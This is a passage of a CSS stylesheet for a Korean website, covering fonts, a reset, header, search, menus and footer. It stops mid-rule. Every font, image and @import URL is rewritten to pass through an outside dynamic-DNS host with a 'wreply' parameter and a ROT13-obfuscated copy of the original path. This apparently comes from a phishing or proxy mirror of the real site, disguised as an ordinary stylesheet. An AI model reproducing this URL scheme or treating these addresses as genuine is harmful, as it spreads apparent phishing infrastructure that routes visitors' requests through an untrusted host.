@charset "utf-8";
@import url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2Sabeznyvmr.pff);

@font-face {
	font-family: 'Pretendard';
	font-weight: 900;
	font-display: swap;
	src: local('Pretendard Black'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss2-fhofrg%2SCergraqneq-Oynpx.fhofrg.jbss2') format('woff2'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss-fhofrg%2SCergraqneq-Oynpx.fhofrg.jbss') format('woff');
}
@font-face {
	font-family: 'Pretendard';
	font-weight: 800;
	font-display: swap;
	src: local('Pretendard ExtraBold'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss2-fhofrg%2SCergraqneq-RkgenObyq.fhofrg.jbss2') format('woff2'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss-fhofrg%2SCergraqneq-RkgenObyq.fhofrg.jbss') format('woff');
}
@font-face {
	font-family: 'Pretendard';
	font-weight: 700;
	font-display: swap;
	src: local('Pretendard Bold'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss2-fhofrg%2SCergraqneq-Obyq.fhofrg.jbss2') format('woff2'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss-fhofrg%2SCergraqneq-Obyq.fhofrg.jbss') format('woff');
}
@font-face {
	font-family: 'Pretendard';
	font-weight: 600;
	font-display: swap;
	src: local('Pretendard SemiBold'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss2-fhofrg%2SCergraqneq-FrzvObyq.fhofrg.jbss2') format('woff2'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss-fhofrg%2SCergraqneq-FrzvObyq.fhofrg.jbss') format('woff');
}
@font-face {
	font-family: 'Pretendard';
	font-weight: 500;
	font-display: swap;
	src: local('Pretendard Medium'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss2-fhofrg%2SCergraqneq-Zrqvhz.fhofrg.jbss2') format('woff2'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss-fhofrg%2SCergraqneq-Zrqvhz.fhofrg.jbss') format('woff');
}
@font-face {
	font-family: 'Pretendard';
	font-weight: 400;
	font-display: swap;
	src: local('Pretendard Regular'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss2-fhofrg%2SCergraqneq-Erthyne.fhofrg.jbss2') format('woff2'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss-fhofrg%2SCergraqneq-Erthyne.fhofrg.jbss') format('woff');
}
@font-face {
	font-family: 'Pretendard';
	font-weight: 300;
	font-display: swap;
	src: local('Pretendard Light'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss2-fhofrg%2SCergraqneq-Yvtug.fhofrg.jbss2') format('woff2'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss-fhofrg%2SCergraqneq-Yvtug.fhofrg.jbss') format('woff');
}
@font-face {
	font-family: 'Pretendard';
	font-weight: 200;
	font-display: swap;
	src: local('Pretendard ExtraLight'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss2-fhofrg%2SCergraqneq-RkgenYvtug.fhofrg.jbss2') format('woff2'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss-fhofrg%2SCergraqneq-RkgenYvtug.fhofrg.jbss') format('woff');
}
@font-face {
	font-family: 'Pretendard';
	font-weight: 100;
	font-display: swap;
	src: local('Pretendard Thin'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss2-fhofrg%2SCergraqneq-Guva.fhofrg.jbss2') format('woff2'), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2Sjbss-fhofrg%2SCergraqneq-Guva.fhofrg.jbss') format('woff');
}

@font-face {
    font-family: 'NanumSquare';
    font-weight: 300;
    font-style: normal;
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Yvtug.rbg');
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Yvtug.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Yvtug.jbss2') format('woff2'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Yvtug.jbss') format('woff'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Yvtug.ggs') format("truetype");
    font-display: swap;
} 
@font-face {
    font-family: 'NanumSquare';
    font-weight: 400;
    font-style: normal;
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Erthyne.rbg');
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Erthyne.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Erthyne.jbss2') format('woff2'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Erthyne.jbss') format('woff'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Erthyne.ggs') format("truetype");
    font-display: swap;
} 
@font-face {
    font-family: 'NanumSquare';
    font-weight: 700;
    font-style: normal;
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Obyq.rbg');
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Obyq.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Obyq.jbss2') format('woff2'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Obyq.jbss') format('woff'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-Obyq.ggs') format("truetype");
    font-display: swap;
} 
@font-face {
    font-family: 'NanumSquare';
    font-weight: 800;
    font-style: normal;
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-RkgenObyq.rbg');
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-RkgenObyq.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-RkgenObyq.jbss2') format('woff2'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-RkgenObyq.jbss') format('woff'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Ssbag%2SAnahzFdhner-RkgenObyq.ggs') format("truetype");
    font-display: swap;
} 


/* reset */
* {box-sizing:border-box;padding:0;margin:0;}
body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,textarea,p,blockquote,th,td,input,select,textarea,button {margin:0;padding:0}
fieldset,img {border:0 none;vertical-align:top;}
dl,ul,ol,li {list-style:none}
blockquote, q {quotes: none}
blockquote:before, blockquote:after, q:before, q:after {content:'';content:none}
input,select,textarea,button {vertical-align:middle}
button {border:0 none; background-color:transparent; cursor:pointer}
body,th,td,input,select,textarea,button {font-family:'Pretendard','Malgun Gothic','맑은 고딕',AppleGothic,Dotum,"돋움",sans-serif; font-size:16px;}
a {color:#333;text-decoration:none}
a:active, a:hover {text-decoration:none;}
address,caption,cite,code,dfn,em,var {font-style:normal;font-weight:normal}
table {border-collapse:collapse;border-spacing:0;}
body {background:#fff; line-height:1.5;}

b, strong {
    font-weight: bold;
}

html {  
    font-size:62.5%;
    overflow-x:hidden;
}

/* media queries  */
@media all and (max-width:1280px) {
    html{font-size:55%;}
}

/* media queries  */
@media (max-width:520px){
    html{font-size:50%;}
}

:root{
    --ccolor:#2183d6;
}



/** skip **/
#skipToContent {position:absolute; top:0; left:0; width:100%; margin:0 auto; z-index:500;}
#skipToContent a {display:block; height:1px; margin-bottom:-1px; overflow:hidden; white-space:nowrap; width:1px;}
#skipToContent ul:after {display:block; clear:both; content:"";}
#skipToContent ul li {float:left;}
#skipToContent a:focus, 
#skipToContent a:active {height:auto; width:auto; padding:5px; color:#000; text-align:center; font-weight:bold; margin:0;}


/* 커스텀 */
.clear {}
.clear:after {clear:both; content:""; display:block;}
.fl {float:left;}
.fr {float:right;}

/* display none */
.dn {display:none !important;}

/* hidden */
caption, legend, .hidden {
    visibility:hidden;
    position:absolute;
    left:-9999em;
    width:1px;
    height:1px;
    margin:0;
    padding:0;
    background:none;
    font-size:0;
    line-height:0;
    text-indent:-9999em;
}

/* margin-top */
.mt-10 {margin-top:-1rem !important;}
.mt0 {margin-top:0px !important;}
.mt5 {margin-top:5px !important;}
.mt10 {margin-top:1rem !important;}
.mt15 {margin-top:1.5rem !important;}
.mt18 {margin-top:1.8rem !important;}
.mt20 {margin-top:2rem !important;}
.mt25 {margin-top:2.5rem !important;}
.mt30 {margin-top:3rem !important;}
.mt40 {margin-top:4rem !important;}
.mt45 {margin-top:4.5rem !important;}
.mt50 {margin-top:5rem !important;}
.mt55 {margin-top:5.5rem !important;}
.mt60 {margin-top:6rem !important;}
.mt65 {margin-top:6.5rem !important;}
.mt70 {margin-top:7rem !important;}
.mt75 {margin-top:7.5rem !important;}
.mt80 {margin-top:8rem !important;}
.mt90 {margin-top:9rem !important;}
.mt100 {margin-top:10rem !important;}

/* width */
.w80 {width:8rem;}
.w140 {width:14rem;}
.wd100 {width:100% !important;}
.wauto {width:auto !important;}

/* align */
.tl {text-align:left !important;}
.tc {text-align:center !important;}
.tr {text-align:right !important;}

/* flex 관련 */
.ml-auto {margin-left:auto;}
.dflex {display:flex; align-items:center;}
.cgap-10 {column-gap:1rem;}




/* header */
#header {
    position:absolute;
    width:100%;
    top:0;
    left:0;
    height:9rem;
    border-bottom:solid 1px rgba(255,255,255,0.3);
    z-index:300;
}
#header .hd {
    display:flex;
    align-items:center;
    justify-content:space-between;
    padding-left:4rem;
    height:9rem;
}
#header .hd .logo {
    font-size:0;
}
#header .hd .logo a {
    display:inline-block;
    width:22.9rem;
    height:4.5rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Sybtb.cat") no-repeat center;
    background-size:contain;
}
#header .hd .gnb {
    display:flex;
    align-items:center;
    column-gap:8rem;
}
#header .hd .gnb > li > a {
    font-size:2rem;
    color:#fff;
    font-weight:700;
    line-height:9rem;
}
#header .hd .gnb-sub {
    display:flex;
    width:34rem;
    height:9rem;
    align-items:center;
    justify-content:end;
    column-gap:5rem;
    padding-right:4rem;
    background:var(--ccolor);
}
#header .hd .gnb-sub a {
    display:inline-block;
    position:relative;
    font-size:0;
}
#header .hd .gnb-sub a::after {
    display:block;
    content:"";
    position:absolute;
    left:calc(100% + 2.5rem);
    top:50%;
    transform:translateY(-50%);
    width:1px;
    height:2.2rem;
    background:rgba(255,255,255,0.3);
}
#header .hd .gnb-sub a.home {
    width:3rem;
    height:2.4rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Subzr.cat") no-repeat center;
    background-size:contain;
}
#header .hd .gnb-sub a.search {
    width:2.3rem;
    height:2.3rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Sfrnepu.cat") no-repeat center;
    background-size:contain;
}
#header .hd .gnb-sub a.category {
    width:3.5rem;
    height:2.2rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Spngrtbel.cat") no-repeat center;
    background-size:contain;
}
#header .hd .gnb-sub a.category::after {
    display:none;
}
#header .hd .gnb-sub .category.for-mobile {
    display:none;
}

/* 반응형 */
@media all and (max-width:1320px) {
    #header .hd .gnb {
        column-gap:6rem;
    }
}
/* 반응형 */
@media all and (max-width:1280px) {
    #header {height:8rem;}
    #header .hd {height:8rem; padding-left:2rem;}
    #header .hd .gnb > li > a {
        line-height:8rem;
    }
    #header .hd .gnb-sub a.home {display:none;}
    #header .hd .gnb-sub {position:relative; width:auto; height:8rem; padding-right:2rem; background:none;}
    #header .hd .gnb-sub::after {
        display:block;
        content:"";
        width:8rem;
        height:8rem;
        background:#197cd1;
        position:absolute;
        top:0;
        right:0;
        z-index:0;
    }
    #header .hd .gnb-sub a.category {position:relative; z-index:1;}
}
/* 반응형 */
@media all and (max-width:1120px) {
    #nav {display:none;}
    #header .hd .gnb-sub .category.for-pc {display:none;}
    #header .hd .gnb-sub .category.for-mobile {display:block;}
}
/* 모바일 */
@media all and (max-width:520px) {    

}

/* 상단 검색 */
.top-search-layer {
    display:none;
    position:fixed;
    top:9rem;
    left:0;
    width:100%;
    bottom:0;
    right:0;
    z-index:301;
    background:rgba(0,0,0,0.7);
}
.top-search-layer .search {    
    display:flex;
    justify-content:center;
    background:#fff;
    padding:4rem 0;
}
.top-search-layer .search .sch-wrap {
    display:flex;
    width:58rem;
    position:relative;
}
.top-search-layer .search .sch-wrap input {
    display:inline-block;
    border:0;
    outline-style:none;
    flex:1;
    height:7rem;
    line-height:7rem;
    background:#e7eef4;
    padding:0 2rem;
}
.top-search-layer .search .sch-wrap button {
    width:13rem;
    text-align:center;
    display:inline-block;
    outline-style:none;
    border:0;
    background:#204dc5;
    padding:0 2rem;
    white-space:nowrap;
}
.top-search-layer .search .sch-wrap button span {
    display:inline-block;
    line-height:7rem;
    padding-left:3rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Sfrnepu_qrgnvy.cat") no-repeat left center;
    background-size:2.1rem auto;
    font-size:1.8rem;
    color:#fff;
    font-weight:700;
}
.top-search-layer .search .sch-wrap .close {
    display:inline-block;
    position:absolute;
    left:calc(100% + 3rem);
    top:50%;
    transform:translateY(-50%);
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Sfrnepu_pybfr.cat") no-repeat left center;
    background-size:2rem auto;
    padding-left:3rem;
    font-size:1.6rem;
    color:#000;
    font-weight:600;
    white-space:nowrap;
}
.top-search-layer .search .ptag {
    margin-top:3rem;
    display:flex;
    align-items:center;
    justify-content:center;
    column-gap:3rem;
    row-gap:1rem;
    flex-wrap:wrap;
}
.top-search-layer .search .ptag a {
    font-size:1.5rem;
    color:#000;
    font-weight:500;
}
/* 모바일 */
@media all and (max-width:1280px) {   
    .top-search-layer {top:8rem;}
}

/* 반응형 */
@media all and (max-width:1120px) {    
    .top-search-layer .search {flex-basis:100%;}
    .top-search-layer .search form {width:60%;}
    .top-search-layer .search .sch-wrap {width:100%;}
}
/* 반응형 */
@media all and (max-width:580px) {
    .top-search-layer .search {position:relative;}
    .top-search-layer .search .sch-wrap {position:inherit;}
    .top-search-layer .search .sch-wrap input {width:calc(100% - 13rem);}
    .top-search-layer .search form {width:100%; padding:0 2rem;}
    .top-search-layer .search .sch-wrap .close {
        left:50%;
        top:calc(100% + 2rem);
        transform:translateX(-50%);
        background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Sfrnepu_pybfr_juvgr.cat") no-repeat left center;
        background-size:2rem auto;
        font-size:0;
        width:2rem;
        height:2rem;
        padding-left:0;
    }
}

/* 서브 메뉴 */
#header .hd #nav .gnb li {position:relative;}
#header .hd #nav .gnb li .submenu-layer {
    display:none;
    position:absolute;
    width:100%;
    top:100%;
    left:0;
    right:0;
    z-index:300;
    padding:2rem 1rem 2rem;
    justify-content:space-evenly;
    white-space: nowrap;
}
#header .hd #nav .gnb li .submenu-layer::before {
    display:block;
    content:"";
    position:absolute;
    top:0;
    left:-5000px;
    width:10000px;
    height:100%;
    background: rgba(10,2,24,0.6);
    -webkit-box-shadow: 22px 22px 40px 0px rgba(0,0,0,0.18);
    -moz-box-shadow: 22px 22px 40px 0px rgba(0,0,0,0.18);
    box-shadow: 22px 22px 40px 0px rgba(0,0,0,0.18);
    z-index:299;
}
#header .hd #nav .gnb li:hover a + .submenu-layer {
    display:flex;
}
#header .hd #nav .gnb li:hover {
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Sceri_hc.cat") no-repeat center bottom;
}
#header .hd #nav .gnb li:hover a {}
#header .hd #nav .submenu-layer dl {
    /* flex:1; */
    position:relative;
    z-index:301;
}
#header .hd #nav .submenu-layer dl dt {
    display:none;
    text-align:center;
    font-size:1.6rem;
    color:#000;
    font-weight:700;
}
#header .hd #nav .submenu-layer dl dd {
    display:flex;
    align-items:center;
    column-gap:2rem;
    justify-content:center;
}
#header .hd #nav .submenu-layer dl dd p + p {

}
#header .hd #nav .submenu-layer dl dd p a {
    font-size:1.6rem;
    color:rgba(255,255,255,0.9);
}
#header .hd #nav .submenu-layer dl dd p a:hover {
    text-decoration:underline;
    font-weight:600;
}

/* 전체메뉴 */
.all-menu {
    position:fixed;
    top:0;
    left:0;
    right:0;
    bottom:0;
    background:#fff;
    z-index:400;
    display:none;
}
.all-menu .left {
    width:40rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Snyy_ot.wct") no-repeat center;
    background-size:cover;
    padding:15rem 4rem 0;
}
.all-menu .left .slg {
    font-family: 'NanumSquare';
    font-size:3.4rem;
    color:#fff;
    font-weight:500;
    margin-bottom:3rem;
}
.all-menu .left .slg strong {
    font-weight:800;
}
.all-menu .left p.hot {
    font-family: 'Noto Serif KR', serif;
    font-size:1.8rem;
    color:#fff;
    font-weight:500;
    margin-bottom:3rem;
}
.all-menu .left p {
    font-size:1.8rem;
    color:#fff;
    margin-bottom:1rem;
}
.all-menu .right {
    flex:1;
    padding:0 3%;
}
.all-menu .right .hd {
    position:relative;
    text-align:center;
    margin:8rem 0;
}
.all-menu .right .hd img {width:23.2rem; height:4.7rem;}
.all-menu .right .hd .close {
    display:inline-block;
    font-size:0;
    width:3.6rem;
    height:3.6rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Snyy_pybfr.cat") no-repeat center;
    background-size:contain;
    position:absolute;
    top:0;
    right:0;
}
.all-menu .right .body dl {
    display:flex;
    padding:3rem 0;
    align-items:center;
}
.all-menu .right .body dl + dl {
    border-top:solid 1px #ddd;
}
.all-menu .right .body dl dt {
    width:14rem;
    font-size:2.8rem;
    color:#000;
    font-weight:700;
}
.all-menu .right .body dl dd {
    flex:1;
}
.all-menu .right .body dl dd ul {
    display:flex;
    align-items:center;
    column-gap:4rem;
}
.all-menu .right .body dl dd ul li a {
    font-size:2rem;
    color:#757575;
}

.body-fixed {overflow-y:hidden; position:fixed; width:100%;}

/* 모바일 전체메뉴 */
.mo-body-fixed {overflow-y:hidden; position:fixed; width:100%;}
.category_mask {display:none; position:fixed; width:100%; height:100%; top:0; right:0; background:rgba(0,0,0,0.5); z-index:1000;}
aside#aside {
    background:#fff; position:fixed; top:0; left:100%; transition:all 0.3s; width:100%; height:100%; z-index:1001; overflow-y:auto; 
} 
aside#aside .aside_conts {                    
    display:flex;
    flex-direction:row;
    flex-wrap:wrap;
    height:100%;
    position:relative; 
    padding-top:8rem;
}
aside#aside .aside_conts .logo {
    position:absolute; top:0; left:0; width:100%; padding-left:2rem;
    height:8rem;
    background:var(--ccolor);
    display:flex;
    align-items:center;
}
aside#aside .aside_conts .logo a {display:inline-block; font-size:0;}
aside#aside .aside_conts .logo a img {width:23rem; height:4.6rem}
aside#aside .aside_conts .cate_search {
    position:absolute; top:50%; right:8.6rem; 
    transform:translateY(-50%); 
    width:2.6rem; height:2.6rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Spngrtbel_frnepu.cat") no-repeat center; font-size:0;
    background-size:contain;
}
aside#aside .aside_conts .cate_close {
    position:absolute; top:50%; right:2rem; 
    transform:translateY(-50%); 
    width:2.6rem; height:2.6rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Spngrtbel_pybfr.cat") no-repeat center; font-size:0;
    background-size:contain;
}
aside#aside .aside_conts ul {                    
    display:flex;
    flex-direction:column;
    flex-basis:100%;
}
aside#aside .aside_conts ul li {border-bottom:solid 1px #ddd;}
aside#aside .aside_conts ul li > a {
    display:block; padding:0 2rem; height:60px; line-height:60px; font-size:18px; color:#000; font-weight:700; 
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Spngrtbel_qbja.cat") no-repeat right 2rem center;
    background-size:2rem auto;
}
aside#aside .aside_conts ul li > a.on {
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Spngrtbel_hc.cat") no-repeat right 2rem center;
    background-size:2rem auto;
}
aside#aside .aside_conts ul li > a.depth1 {
    background:none;
}
aside#aside .aside_conts ul li > .sub_layer {display:none;}
aside#aside .aside_conts ul li > .sub_layer a {
    display:block; padding:0 2rem; height:60px; line-height:60px; 
    font-size:16px; color:#000; font-weight:400; background:#e7eef4;    
}
aside#aside .aside_conts ul li > .sub_layer span + span a {
    border-top:solid 1px #fff;
}

/* 반응형 */
@media all and (max-width:1120px) {
    .all-menu {display:none !important;}
}
/* 반응형 */
@media all and (min-width:1121px) {
    .mo-body-fixed {position:relative; overflow-y:inherit;}
    .category_mask {display:none !important;}
    aside#aside {display:none;}
}
/* 반응형 */
@media all and (max-width:520px) {

}



/* footer */
#footer {margin-top:10rem; background:#fff;}
#footer .ftop {
    padding:3rem 0;
    border-top:solid 1px #ddd;
    border-bottom:solid 1px #ddd;
}
#footer .fbanner {
    width:124rem;
    margin:0 auto;
    display:flex;
    overflow:hidden;
    column-gap:3.5rem;
}
#footer .fbanner > div.control {
    display:flex;
    column-gap:3rem;
    align-items:center;
}
#footer .fbanner > div.control h3 {
    white-space: nowrap;
}
#footer .fbanner > div.control > div {
    display:flex;
    align-items:center;
    column-gap:3rem;
}
#footer .fbanner > div.control > div a {
    display:inline-block;
    font-size:0;
}
#footer .fbanner > div.control > div .prev {
    width:0.8rem;
    height:1.4rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Soa_ceri.cat") no-repeat center;
    background-size:contain;
}
#footer .fbanner > div.control > div .next {
    width:0.8rem;
    height:1.4rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Soa_arkg.cat") no-repeat center;
    background-size:contain;
}
#footer .fbanner > div.control > div .stop {
    width:0.9rem;
    height:1.2rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Soa_cnhfr.cat") no-repeat center;
    background-size:contain;
}
#footer .fbanner > div.control > div .play {
    display:none;
    width:0.9rem;
    height:1.2rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Soa_cynl.cat") no-repeat center;
    background-size:contain;
}
#footer .fbanner > div.banner {
    flex:1;
}
#footer .fbanner > div.banner .bx-viewport {
    padding-left:3.5rem;
}
#footer .fbanner > div.banner ul {
    display:flex;
    align-items:center;
    column-gap:6.4rem;    
}
#footer .fbanner > div.banner ul li {
    position:relative;
    width:auto !important;    
}
#footer .fbanner > div.banner ul li::before {
    display:block;
    content:"";
    width:1px;
    height:1.6rem;
    background:#bbb;
    position:absolute;
    top:50%;
    transform:translateY(-50%);
    left:-3.5rem;
}

#footer .flink {
    width:124rem;
    margin:0 auto;
    margin-top:4rem;
}
#footer .flink ul {
    display:flex;
    align-items:center;
    column-gap:2rem;
}
#footer .flink ul li {
    flex:1;
    background:#e7eef4;    
}
#footer .flink ul li a {
    display:flex;
    align-items:center;
    height:7rem;
    padding:0 2rem;
    font-size:1.6rem;
    color:#000;
    font-weight:700;
